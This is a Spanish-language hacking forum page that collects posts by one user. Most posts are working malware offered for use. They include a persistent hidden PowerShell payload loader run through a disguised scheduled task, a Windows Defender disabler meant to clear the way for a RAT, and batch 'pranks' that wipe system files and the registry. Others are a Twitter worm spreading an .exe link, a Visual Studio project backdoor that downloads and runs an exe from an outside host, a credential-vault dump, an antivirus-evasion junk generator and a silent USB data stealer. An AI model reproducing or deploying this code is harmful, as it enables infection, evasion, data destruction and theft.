Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - 79137913

Páginas: [1] 2 3 ... 5
1
HOLA!!!

Chicos les paso este código muy bueno que armé para ejecutar un payload desde powershell a traves de VBNET con recursos, solo poner el payload en My.Resources.PYLD
Ademas es persistente.
Código: vb.net
  1. Public Class Program
  2.     Public Shared Sub Main()
  3.         Dim Payload As String = Nothing
  4.         Try
  5.             'Convierto recurso a B64
  6.             PYLDSTR= Convert.ToBase64String(My.Resources.PYLD)
  7.         Catch ex As Exception
  8.         End Try
  9.         Try
  10.             'Guardamos en el registro para luego levantarlo
  11.             Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\PYLDAPP").SetValue("PYLD", PYLDSTR)
  12.         Catch ex As Exception
  13.         End Try
  14.         Dim PS As String = Nothing
  15.         Try
  16.             PS = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)"
  17.             'guardamos el task como PolicyUpdate
  18.             Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
  19.                 .FileName = "schtasks",
  20.                 .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
  21.                 .CreateNoWindow = True,
  22.                 .ErrorDialog = False,
  23.                 .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
  24.                 })
  25.         Catch ex As Exception
  26.         End Try
  27.     End Sub
  28. End Class

GRACIAS POR LEER!!!

2
HOLA!!!

Les paso este codigo recien terminado para deshabilitar Windows defender en tiempo de ejecucion.

Vieron que Windows defender es casi tan histerico como Avira, suele saltar por casi cualquier cosa, solo ejecuten este codigo antes que su RAT y se va a ejecutar sin problemas sin que WD moleste.

[El metodo deshabilita Windows defender y la distribucion de muestras sin mostrar ninguna notificacion ni reiniciar la pc todo instantaneo y bonito]

Código: vb.net
  1. Imports System
  2. Imports Microsoft.Win32
  3. Imports System.Diagnostics
  4. Imports System.Security.Principal
  5.  
  6. Namespace DeshabilitarWD
  7.     Class Programa
  8.         Private Shared Sub Main()
  9.             If Not New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) Then Return
  10.             EditarRegistro("SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0")
  11.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1")
  12.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1")
  13.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1")
  14.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1")
  15.             CheckDefender()
  16.         End Sub
  17.  
  18.         Private Shared Sub CheckDefender()
  19.             Dim proc As Process = New Process With {
  20.                 .StartInfo = New ProcessStartInfo With {
  21.                     .FileName = "powershell",
  22.                     .Arguments = "Get-MpPreference -verbose",
  23.                     .UseShellExecute = False,
  24.                     .RedirectStandardOutput = True,
  25.                     .WindowStyle = ProcessWindowStyle.Hidden,
  26.                     .CreateNoWindow = True
  27.                 }
  28.             }
  29.             proc.Start()
  30.  
  31.             While Not proc.StandardOutput.EndOfStream
  32.                 Dim line As String = proc.StandardOutput.ReadLine()
  33.  
  34.                 If line.Contains("DisableRealtimeMonitoring") AndAlso line.Contains("False") Then
  35.                     Pwrshll("Set-MpPreference -DisableRealtimeMonitoring $true")
  36.                 ElseIf line.Contains("DisableBehaviorMonitoring") AndAlso line.Contains("False") Then
  37.                     Pwrshll("Set-MpPreference -DisableBehaviorMonitoring $true")
  38.                 ElseIf line.Contains("DisableBlockAtFirstSeen") AndAlso line.Contains("False") Then
  39.                     Pwrshll("Set-MpPreference -DisableBlockAtFirstSeen $true")
  40.                 ElseIf line.Contains("DisableIOAVProtection") AndAlso line.Contains("False") Then
  41.                     Pwrshll("Set-MpPreference -DisableIOAVProtection $true")
  42.                 ElseIf line.Contains("DisablePrivacyMode") AndAlso line.Contains("False") Then
  43.                     Pwrshll("Set-MpPreference -DisablePrivacyMode $true")
  44.                 ElseIf line.Contains("SignatureDisableUpdateOnStartupWithoutEngine") AndAlso line.Contains("False") Then
  45.                     Pwrshll("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
  46.                 ElseIf line.Contains("DisableArchiveScanning") AndAlso line.Contains("False") Then
  47.                     Pwrshll("Set-MpPreference -DisableArchiveScanning $true")
  48.                 ElseIf line.Contains("DisableIntrusionPreventionSystem") AndAlso line.Contains("False") Then
  49.                     Pwrshll("Set-MpPreference -DisableIntrusionPreventionSystem $true")
  50.                 ElseIf line.Contains("DisableScriptScanning") AndAlso line.Contains("False") Then
  51.                     Pwrshll("Set-MpPreference -DisableScriptScanning $true")
  52.                 ElseIf line.Contains("SubmitSamplesConsent") AndAlso Not line.Contains("2") Then
  53.                     Pwrshll("Set-MpPreference -SubmitSamplesConsent 2")
  54.                 ElseIf line.Contains("MAPSReporting") AndAlso Not line.Contains("0") Then
  55.                     Pwrshll("Set-MpPreference -MAPSReporting 0")
  56.                 ElseIf line.Contains("HighThreatDefaultAction") AndAlso Not line.Contains("6") Then
  57.                     Pwrshll("Set-MpPreference -HighThreatDefaultAction 6 -Force")
  58.                 ElseIf line.Contains("ModerateThreatDefaultAction") AndAlso Not line.Contains("6") Then
  59.                     Pwrshll("Set-MpPreference -ModerateThreatDefaultAction 6")
  60.                 ElseIf line.Contains("LowThreatDefaultAction") AndAlso Not line.Contains("6") Then
  61.                     Pwrshll("Set-MpPreference -LowThreatDefaultAction 6")
  62.                 ElseIf line.Contains("SevereThreatDefaultAction") AndAlso Not line.Contains("6") Then
  63.                     Pwrshll("Set-MpPreference -SevereThreatDefaultAction 6")
  64.                 End If
  65.             End While
  66.         End Sub
  67.  
  68.         Private Shared Sub Pwrshll(ByVal args As String)
  69.             Dim proc As Process = New Process With {
  70.                 .StartInfo = New ProcessStartInfo With {
  71.                     .FileName = "powershell",
  72.                     .Arguments = args,
  73.                     .WindowStyle = ProcessWindowStyle.Hidden,
  74.                     .CreateNoWindow = True
  75.                 }
  76.             }
  77.             proc.Start()
  78.         End Sub
  79.  
  80.         Private Shared Sub EditarRegistro(ByVal regPath As String, ByVal name As String, ByVal value As String)
  81.             Try
  82.  
  83.                 Using key As RegistryKey = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree)
  84.  
  85.                     If key Is Nothing Then
  86.                         Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord)
  87.                         Return
  88.                     End If
  89.  
  90.                     If key.GetValue(name) <> CObj(value) Then key.SetValue(name, value, RegistryValueKind.DWord)
  91.                 End Using
  92.  
  93.             Catch
  94.             End Try
  95.         End Sub
  96.  
  97.     End Class
  98. End Namespace
  99.  


GRACIAS POR LEER!!!

3
HOLA!!!

Necesitaria saber como lograr hacer un checkeo constante sin detener la ejecucion de funciones asincronas.

Código: Javascript
  1.             $$.post(baseurl + 'AppRRPP/GetLugar', { x: "x" }, function (dataX) {
  2.                 idlugarRRPP = dataX;
  3.             });
  4.             $$.get(baseurl + "Encargados/HorList", {}, function (dataY) {
  5.                 ListaHorarios = dataY.split("/");
  6.             });
  7.             $$.get(baseurl + "Encargados/BenList", {}, function (dataZ) {
  8.                 ListaBeneficios = dataZ.split("/");
  9.             });
  10.             $$.get(baseurl + "Encargados/EntList", {}, function (dataO) {
  11.                 ListaEntradas = dataO.split("/");
  12.             });
  13.             $$.post(baseurl + 'AppRRPP/GetLimit', { x: "x" }, function (dataP) {
  14.                 ListaLimit = dataP;
  15.                 LimitE = ListaLimit.split("||")[0].split("/");
  16.                 LimitB = ListaLimit.split("||")[1].split("/");
  17.             });
  18.  
  19. //este codigo de aqui abajo debo ejecutarlo cada segundo
  20.             if ((idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2)==false) {
  21.                //cuando se entra aqui todas las funciones asincronas han terminado de ejecutarse
  22.                //ejecutar codigo de timeout
  23.             }
  24.  
  25.  
  26. //el codigo de aqui abajo cuando hayan pasado 15 segundos o si el codigo de arriba dio true
  27.             if (idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2) {
  28.                 mainView.router.back();
  29.                 myApp.alert("Su sesion expiro - Verifique conexion a internet", '---');
  30.             } else { mainView.router.loadPage(data + ".html");}
  31.  
  32.  

GRACIAS POR LEER!!!

4
Criptografía / [APORTE] Cifrado con salmos o libros.
« en: Septiembre 25, 2018, 12:39:30 pm »
Cifrando textos con salmos
[/b][/color]

Habran visto en varias peliculas que utilizan la biblia para cifrar mensajes, aqui les mostrare uno de los metodos, cabe aclarar que es un metodo muy antiguo pero facil de realizar y aparte muy seguro.

Comenzaremos con el metodo de cifrado basico que utilizaremos, sera un metodo de suma y sustitucion de caracteres con un alfabeto de 26 letras, osea la ñ sera n en todos los casos y no habra "ll" ni "ch".

Para empezar Cifraremos el siguiente mensaje: "Viva Underc0de"
Con el salmo 1:4 "No así los malos, Que son como el tamo que arrebata el viento."

Primero convertiremos las letras a numeros y nos quedará asi:
Mensaje:
V  I  V  A  U  N  D  E  R  C  O  D  E
22-09-22-01-21-14-04-05-18-03-15-04-05

Salmo:
N  O  A  S  I  L  O  S  M  A  L  O  S
14-15-01-19-09-12-15-19-13-01-12-15-19


Noten que en el salmo solo convertimos los caracteres necesarios ni mas ni menos.

Una vez que tenemos los numeros procedemos a sumarlos:
36-24-23-20-30-26-19-24-31-04-27-19-24

Si algun numero supera 26 (es decir si es 27 o mas) le restamos 26 y nos queda asi:
10-24-23-20-04-26-19-24-05-04-01-19-24

Y ahora convertimos esos numeros a letras nuevamente:
JXWTDZSXEDASX

Le agregamos el salmo que elegimos, delante y atras y ya tenemos nuestro mensaje cifrado:
1JXWTDZSXEDASX4

Ahora a descifrar:
1- Convertimos a numeros las letras del mensaje cifrado:

J  X  W  T  D  Z  S  X  E  D  A  S  X
10-24-23-20-04-26-19-24-05-04-01-19-24


2- Convertimos a numeros las letras del salmo 1:4 (primer y ultimo caracter):
N  O  A  S  I  L  O  S  M  A  L  O  S
14-15-01-19-09-12-15-19-13-01-12-15-19


3- Restamos al mensaje cifrado el salmo:
(-4)-09-22-01-(-5)-14-04-05-(-8)-03-(-11)-04-05

4- Sumamos 26 a los numeros que sean negativos
22-09-22-01-21-14-04-05-18-03-15-04-05

5- Convertimos a Letras:
V  I  V  A  U  N  D  E  R  C  O  D  E
22-09-22-01-21-14-04-05-18-03-15-04-05


Esa es la esencia del cifrado, ahora unas notas para que sepan:

Si el mensaje es muy largo:

a- Si el mensaje es muy largo en vez de usar una fraccion de salmo (1:4) usamos un salmo entero(1) y solo ponemos un numero en la frase cifrada.

b- Si los caracteres del salmo (o la fraccion) son menos que los caracteres del mensaje cifrado, volvemos a repetir el salmo textualmente a continuacion del mismo para hacer crecer la clave de cifrado.

Variaciones:
a- Este cifrado puede usarse con libros comunes que tengas vos y tu objetivo, por ejemplo digamos que tenemos 10 libros que numeramos con anterioridad del 1 al 10 y cada libro tiene 300 hojas. Podemos usar la clave de cifrado asi: [numero de libro]Mensaje[Numero de hoja], tengan en cuenta que los libros deben ser de las mismas editoriales y ediciones para que no varien los textos.

Recomendaciones:
Este cifrado es muy dificil de descifrar aunque sea por expertos, pero para que sea mas eficaz tomen en cuenta las siguientes recomendaciones:
a- Quiten los espacios.
b- Si quieren incluir numeros en el cifrado escribanlos en letras.
c- NUNCA repitan la clave
d- Si pueden hagan alguna clave para el numero de salmo, por ejemplo +1 +1, entonces si usamos el salmo 1:4 como en el ejemplo quedaria asi 2JXWTDZSXEDASX5.

Tabla de Suma(Cifrado) y Resta(Descifrado):


5
Visual Basic / [VB6] Funcion para subir Archivos FTP mediante Inet
« en: Julio 11, 2018, 09:24:28 am »
HOLA!!!

Funcion (requiere un control Inet llamado Inet):
Código: Visual Basic
  1. Private Function SubirFTP(ByVal URL As String , ByVal Usuario As String , ByVal Clave As String , ByVal RutaArchivoLocal As String , ByVal RutaArchivoRemoto As String) As Boolean
  2.     On Error Goto ErrSubirFTP:
  3.     With Inet1
  4.         .UserName = Usuario
  5.         .Password = Clave
  6.         .Execute URL, "PUT " & RutaArchivoLocal & " " & RutaArchivoRemoto
  7.  
  8.         Do While .StillExecuting
  9.             DoEvents
  10.         Loop
  11.  
  12.         SubirFTP= (.ResponseCode = 0)
  13.     End With
  14.     Exit Function
  15. ErrSubirFTP:
  16.     SubirFTP = False
  17. End Function
  18.  

Para llamar a la Funcion:
Código: Visual Basic
  1. UploadFile "ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"

Para hacer un Debug del resultado de la subida:
Código: Visual Basic
  1. Debug.Print UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt")

Para hacer un Mensaje de texto del resultado de la subida:
Código: Visual Basic
  1. MsgBox Iif(UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"), "Archivo Subido Correctamente", "Error - Archivo No Subido")

GRACIAS POR LEER!!!

6
Batch - Bash / [BATCH] Pranks
« en: Junio 04, 2018, 11:53:44 am »
HOLA!!!

Les dejo una lista de Pranks (bromas pesadas) en BATCH:

1 Deshabilitar Mouse:
Código: DOS
  1. set key="HKEYLOCALMACHINE\system\CurrentControlSet\Services\Mouclass"
  2. reg delete %key%
  3. reg add %key% /v Start /t REG_DWORD /d 4_

2 Invertir Mouse:
Código: Bash
  1. Rundll32 user32,SwapMouseButton

3 Eliminar toda la carpeta del usuario que corre el script: [PELIGROSO, SIN ARREGLO]
Código: DOS
  1. del /f /q "C:\Users\%userprofile%\*.*"

4 Cambiar hora de la pc:
Código: DOS
  1. time 00:00

5 File Flood:
Código: DOS
  1. :start
  2. echo Hola >>%random%.txt
  3. goto start

6 Romper PC: [PELIGROSO, SIN ARREGLO]
Código: DOS
  1. del %systemdrive%\*.* /f /s /q
  2. shutdown -r -f -t 00

7 Error sos muy tonto, el sitstema se reiniciara para ver si no estas cuando vuelva:
Código: DOS
  1. msg * Error Fatal debido a la idiotez del usuario actual!
  2. shutdown -c “Error! sos muy tonto, el sitstema se apagará para ver si no estás cuando vuelva!” -s -t 10

8 Destruir registro: [PELIGROSO, SIN ARREGLO]
Código: DOS
  1. START reg delete HKCR/.exe
  2. START reg delete HKCR/.dll
  3. START reg delete HKCR/*
  4. :MSGX
  5. ECHO Tu pc ha sido destruida, que tengas un gran dia!
  6. GOTO MSGX

9 Ram Overflow con notepads:
Código: DOS
  1. :nuevo
  2. START %SystemRoot%\system32\notepad.exe
  3. GOTO nuevo

GRACIAS POR LEER!!!

7
Otros lenguajes Scripting / [VBS] Twitter Spread (FUD)
« en: Abril 18, 2018, 12:58:23 pm »
HOLA!!!

Esto no puede ser mas facil. Si el usuario tiene logueado Twitter y ejecutamos este script enviara esto como twit a todos sus seguidores!

Código: Visual Basic
  1.     Set WS = CreateObject("WScript.Shell")
  2.     call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
  3.      
  4.     Function TW_TXT_Spread(X)
  5.     Randomize
  6.      
  7.     WS.run "http://www.twitter.com"
  8.     WScript.Sleep 6000
  9.      
  10.     WS.SendKeys "n"
  11.     WScript.Sleep 800
  12.     WS.SendKeys X
  13.     WScript.Sleep 500
  14.     WS.SendKeys "{TAB}"
  15.     WScript.Sleep 500
  16.     WS.SendKeys "^{ENTER}"
  17.     End Function

GRACIAS POR LEER!!!

8
HOLA!!!

ATENCION: Requiere Firefox / Chrome y ser ejecutado con permisos de admin.

Código: Visual Basic
  1. 'FUNCIONA SOLO SI LA PC POSEE FIREFOX/CHROME(CON CHROME CAMBIANDO LA LINEA DONDE DICE "FIREFOX.EXE" POR "CHROME.EXE")
  2.  
  3. Call ScreenShot("c:\web.html","c:\a.html")
  4.  
  5. Function ScreenShot(WebUrl, Output)
  6.     With CreateObject("Word.Basic")
  7.         .SendKeys "{1068}"
  8.     End With
  9.     Set objFSO = CreateObject("Scripting.FileSystemObject")
  10.     Set objFile = objFSO.CreateTextFile(WebUrl, True)
  11.     objFile.Write "<script>function handlepaste () {myimage = ImageGrab.grabclipboard();}</script><body onload='handlepaste()'></body><div id='div' contenteditable='true' onpaste='handlepaste()'>Paste</div>" & vbCrLf
  12.     objFile.Close
  13.     On Error Resume Next
  14.         CreateObject("Scripting.FileSystemObject").DeleteFile "c:\a.html"
  15.     On Error GoTo 0
  16.     Set wshshell = wscript.CreateObject("WScript.Shell")
  17.     'antes de aca se podria poner una instruccion para que cerrara el proceso del Firefox
  18.        wshshell.run "firefox.exe -Height 1 -Width 1 " & WebUrl 'Abre firefox en tama�o 1x1  
  19.            wscript.sleep 5000
  20.         wshshell.SendKeys ("{TAB}") 'entra a la web
  21.            wscript.sleep 500
  22.         wshshell.SendKeys ("+{INSERT}") 'pega el screenshot
  23.            wscript.sleep 1000
  24.         wshshell.SendKeys ("^s") 'guarda la pagina
  25.            wscript.sleep 500
  26.         wshshell.SendKeys (Output) 'pone el path
  27.            wscript.sleep 1000
  28.         wshshell.SendKeys ("{ENTER}") 'confirma el guardado
  29.    'aca se podria matar a la ventana del firefox abierta para no dejar rastos.
  30. End Function

GRACIAS POR LEER!!!

9
HOLA!!!

Aqui una serie de funciones para codificar y decodificar base64 de y a texto y de y a stream binario.

Código: Visual Basic
  1. Function Base64Encode(sText)
  2.     Dim oXML, oNode
  3.  
  4.     Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  5.     Set oNode = oXML.CreateElement("base64")
  6.     oNode.dataType = "bin.base64"
  7.     oNode.nodeTypedValue =Stream_StringToBinary(sText)
  8.     Base64Encode = oNode.text
  9.     Set oNode = Nothing
  10.     Set oXML = Nothing
  11. End Function
  12.  
  13. Function Base64Decode(ByVal vCode)
  14.     Dim oXML, oNode
  15.  
  16.     Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  17.     Set oNode = oXML.CreateElement("base64")
  18.     oNode.dataType = "bin.base64"
  19.     oNode.text = vCode
  20.     Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
  21.     Set oNode = Nothing
  22.     Set oXML = Nothing
  23. End Function
  24.  
  25. Function Stream_StringToBinary(Text)
  26.   Const adTypeText = 2
  27.   Const adTypeBinary = 1
  28.   Dim BinaryStream 'As New Stream
  29.  Set BinaryStream = CreateObject("ADODB.Stream")
  30.   BinaryStream.Type = adTypeText
  31.   BinaryStream.CharSet = "us-ascii"
  32.   BinaryStream.Open
  33.   BinaryStream.WriteText Text
  34.   BinaryStream.Position = 0
  35.   BinaryStream.Type = adTypeBinary
  36.   BinaryStream.Position = 0
  37.   Stream_StringToBinary = BinaryStream.Read
  38.   Set BinaryStream = Nothing
  39. End Function
  40.  
  41. Function Stream_BinaryToString(Binary)
  42.   Const adTypeText = 2
  43.   Const adTypeBinary = 1
  44.   Dim BinaryStream 'As New Stream
  45.  Set BinaryStream = CreateObject("ADODB.Stream")
  46.   BinaryStream.Type = adTypeBinary
  47.   BinaryStream.Open
  48.   BinaryStream.Write Binary
  49.   BinaryStream.Position = 0
  50.   BinaryStream.Type = adTypeText
  51.   BinaryStream.CharSet = "us-ascii"
  52.   Stream_BinaryToString = BinaryStream.ReadText
  53.   Set BinaryStream = Nothing
  54. End Function

GRACIAS POR LEER!!!

10
HOLA!!!

Este pequeño script lo que realiza es enumerar todas las passwords y usuarios que estan en el Secure Vault de Windows y los muestra, muy util si "olvidamos" una contraseña.

Código: [Seleccionar]
    [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
    $vault = New-Object Windows.Security.Credentials.PasswordVault
    $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }

Ejemplo:


GRACIAS POR LEER!!!

11
HOLA!!!

Este metodo lo uso desde muy pequeño y aun sigue fucionando, se trata de escribir en la barra de direcciones del navegador lo siguiente y presionar enter.

Código: Text
  1. javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

Una vez realizado esto la pagina entrara en modo de diseño es decir que la podras editar como si fuese un WORD.

Es mas, podes copiar y pegar cosas entre webs.

Yo personalmente lo uso cuando debo imprimir algo y quiero que sea distinto a lo que dice la web.

Aqui un ejemplo de lo que hice recien usando este metodo con GOOGLE.



Espero que les sirva!

Extra, para volver a usar la web como antes:
Código: Text
  1. javascript:document.body.contentEditable='false'; document.designMode='off'; void 0

12
HOLA!!!

Este simple script puede unir varios archivos de distintas extensiones en uno, y segun la extension del archivo final sera cual se abrira y la pc detectara.

Lo utilice hace años en este retoRETO ESTEGANOGRAFIA, sirve para tener las cosas a corto alcance pero lejos de los ojos de los demas, es decir escondidas a simple vista.

sin mas el codigo!

Código: DOS
  1. @echo off
  2. title Copy b Binder 79137913
  3. cls
  4. :f
  5. echo Inserte el nombre del archivo (Ejemplo: MiArchivo.rar)
  6. set/p "fil=>"
  7. goto cf :cf
  8. cls
  9. if exist %fil% (
  10. ) else (
  11. echo No se encontro el archivo en esta carpeta.
  12. )
  13. :i
  14. echo Inserte el nombre del segundo archivo (Ejemplo: Imagen.jpg)
  15. set/p "img=>"
  16. goto ci :ci
  17. cls
  18. if exist %img% (
  19. ) else (
  20. echo No se encontro el archivo en esta carpeta.
  21. )
  22. :o
  23. echo Inserte el nombre del archivo final (Ejemplo: Secreto.jpg)
  24. set/p "out=>"
  25. :mydata
  26. cls
  27. echo Detalle del trabajo a realizar:
  28. echo Archivo 1 = %fil%
  29. echo Archivo 2 =%img%
  30. echo Archivo de salida =%out%
  31. echo If the information is correct then
  32. echo Comenzando proceso, puede demorar...
  33. copy /b "%fil%"+"%img%" "%out%"
  34. echo Terminado satisfactoriamente, presione una tecla para salir.

GRACIAS POR LEER!!!

13
Otros lenguajes Scripting / [SOURCE]Generador de codigo basura
« en: Febrero 06, 2018, 02:54:52 pm »
HOLA!!!

Este generador te ayudara a hacer mas indetectables tus codigos en autoit!

Espero que les sirva

Código: [Seleccionar]
$totallineas = 20000            ;Cantidad de lineas
$salida = "Basura.txt"     ;Archivo de salida
$numlines = 10             ;Lineas temporales (con 10 anda bien)

FileDelete($salida)

Dim $lineas[$numlines + 1]
$lineas[0] = $numlines
_dimlines($numlines)
FileWrite($salida, "")
$i = 0
$paso = Random(20,30,1)
Do
    If $i = $paso Then
        $paso = $paso + Random($i + 20, $i + 30,1)
        _dimlines($numlines)
    EndIf
    $i = $i + 1
    $rand = Random(1,10,1)
    FileWriteLine($salida, $lineas[$rand])
    $porcentaje = $i / $totallineas * 100
    ToolTip("Se crearon: "$i & " de " & $totallineas & " lineas - (" & $porcentaje & "%)")
Until $i = $totallineas

Func _dimlines($dsalida)
    $d = 1
    Do
        $lineas[$d] =  "$" & Random(50000,150000,1) & ' = "' & Random(50000,150000,1) & '"'
        $d = $d + 1 ;$d++
    Until $d = $dsalida
EndFunc

Este creador de codigo basura es bastante simple solo crea variables pero con un poco de modificacion se puede hacer mas versatil.

GRACIAS POR LEER!!!

14
Batch - Bash / [BATCH] Generador de contraseñas.
« en: Enero 05, 2018, 12:15:26 pm »
HOLA!!!

Les traigo un generador de contraseñas de 1 a 60000 caracteres muy facil de entender y de usar.



Espero que les sirva mucho aqui el codigo:

Código: DOS
  1. @echo off >Nul
  2. Setlocal EnableDelayedExpansion
  3. Title Generador de Passwords en BATCH
  4. :menu
  5. SET "compiled="
  6. echo Generador de Passwords en BATCH
  7. Set/p "psschr=Inserte cantidad de caracteres deseados: "
  8. If %psschr%==0 (Set "amount=menor" && Set "val=1" && call :invalid)
  9. If %psschr% GTR 60000 (Set "amount=mayor" && Set "val=60000" && call :invalid)
  10.  
  11. Set "chars=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789#+-}./]{?$,:@\[_~"
  12. Set count=1
  13. :x
  14. Set /a count+=1
  15. Set rand=%Random%
  16. Set /a rand=rand%%79
  17. SET compiled=%compiled%!chars:~%rand%,1!
  18. If !count! leq %psschr% goto :x
  19. echo Contraseña: !compiled!
  20. :clipboard
  21. set /p "choice=Quiere que la contraseña quede copiada en su portapapeles? (Y/N): "
  22. If not defined choice (
  23. cls
  24. goto :clipboard
  25. )
  26. if /i %choice% == y call :copy
  27. if /i %choice% == yes call :copy
  28. if /i %choice% == no goto menu
  29. if /i %choice% == n goto menu
  30. goto :menu
  31. @exit /B
  32.  
  33. :invalid
  34. cls
  35. echo La longitud solicitada es ( %amount% ) al limite ( %val% ).
  36. pause >nul & goto :menu
  37. @exit /B
  38.  
  39. echo !compiled! | clip
  40. echo La contraseña ha sido copiada a tu portapapeles.
  41. Timeout /T 5 >nul
  42. goto :menu
  43. @exit /B

GRACIAS POR LEER!!!

15
Hacking / [FUD]Visual Studio Spread
« en: Noviembre 08, 2017, 12:00:28 pm »
HOLA!!!

Bueno paso a explicarles, los proyectos de VisualStudio (probado hasta 2015) permiten añadir una serie de comandos, en ellos vamos a agregar un Download&Execute que infectara la maquina que abra el proyecto de VS que nosotros modificamos.

Paso 1: Crear un proyecto de VS, sea VB o C#
Paso 2: Buscar el .vbproj o .csproj y editar con un editor de texto.
Step 3: En la segunda linea veremos algo asi:

Código: XML
  1. <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

Eso lo vamos a agregar la siguiente variable:
InitialTargets="BuildX"

La linea quedara de la siguiente forma:
Código: XML
  1. <Project ToolsVersion="14.0" InitialTargets="BuildX" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

Paso 4:
Agregar lo siguente al final del archivo pero antes de cerrar el tag "</project>"
Código: XML
  1. <Target Name="BuildX">
  2.     <Exec Command="bitsadmin.exe /transfer NAME http://enlacedirecto.atu/virus.exe %temp%\1.exe" >
  3.       <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
  4.     </Exec>
  5.     <Exec Command="%temp%\1.exe" >
  6.       <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
  7.     </Exec>
  8.     <Exec Command="del %temp%\1.exe" >
  9.       <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
  10.     </Exec>
  11.     <Message Importance="high" Text="$(ErrorCode)" />
  12.   </Target>

Luego guardamos el archivo

Ahora cuando cualquiera abra el proyecto de VStudio descargará y ejecutara nuestro archivo exe!

P.D: Si muchachos, ¡ES FUD!, aunque es posible que VStudio de una advertencia de Abortar/Continuar (de todos modos el que quiere el codigo suele poner continuar).

GRACIAS POR LEER!!!

16
HOLA!!!



Las expresiones regulares son muy utiles al momento de programar, pero ¿a quien nunca le ha dado un dolor de cabeza al intentar leer o crear una? Sea por su inusual sintaxis, su poca difusion o su nivel de abstraccion las expresiones regulares son un problema para muchos. Para esto les traigo esta web (mas herramienta que web) que te ayuda a escribir e interpretar RegExs sin que se acabe tu mundo.

Te permite escribir expresiones regulares y ver las coincidencias en tiempo real resaltadas en el texto, una interfaz simple y sencilla que permite hacer testeos por prueba y error. Como si fuese poco otorga una gran cantidad de informacion sobre RegEx asi como CheatSheets y otros aditamentos que hacen a esta la herramienta perfecta para trabajar con expresiones regulares.

Aqui podemos ver una foto de su interfaz:



Ahora  a la pregunta que todos tienen en mente, cuanto me paga RegExr para hacer este post, la respuesta es simple, NADA, por que esta herramienta me ha solucionado tantos embrollos que lo menos que puedo hacer es nombrarla y hacer una buena review.

Solo queda que pruebes y entres. ¡No tengas miedo, no la podes romper!

https://regexr.com/

GRACIAS POR LEER!!!

17
HOLA!!!

Este codigo previene Ejecutar, Mover, Eliminar, Cortar, Renombrar, Sobreescribir, entre otras sobre el archivo que seleccionemos.

Simple y sencillo

Código: vb.net
  1.     'Opcion 1, aqui bloquearemos C:\config.cfg con el método 1
  2.     Dim ArchivoBloqueado As New FileStream("C:\config.cfg", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)
  3.  
  4.     'Opcion 2, aqui bloquearemos C:\Malware.exe con el método 2
  5.     Call File.Open("C:\Malware.exe", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)
  6.  

GRACIAS POR LEER!!!

18
Hacking / Silent USB Copy, Roba datos de USBs que se conectan a tu PC
« en: Agosto 03, 2017, 01:11:22 pm »
HOLA!!!

Zilog80 USB 'silent' USB copier
 
#1) Que hace?
Z80USBCopier es un Servicio de Windows que copia la informacion en discos insertados a tu HDD.
 
#2) Ejemplos de Uso
Ejemplo #1:
Imaginate que alguien te pide imprimir algo, Insertas el USB de tu amigo(o victima  ;D) y la PC automaticamente empieza a copiar todo a tu HDD.
Imaginate que tiene en el usb la siguiente carpeta E:\Vacaciones\2016\Ibiza\Pacha\Hot\wtf_0001.jpgE:\Vacaciones\2016\Ibiza\Pacha\Hot\wtf_0002.jpg,  ... (espero que entiendas)
Sin que tu "amigo" sepa que copiaste esas fotos.
 
Ejemplo #2:
Tenes una libreria o lugar donde la gente vaya a imprimir cosas y uno de los usb que copiaste tiene lo siguiente: E:\Audio\RollingStones\Album Desconocido\Pista1\accountPasswords.txt
Que pensas que es  accountPasswords.txt? JAJAJA
 
Ejemplo #3:
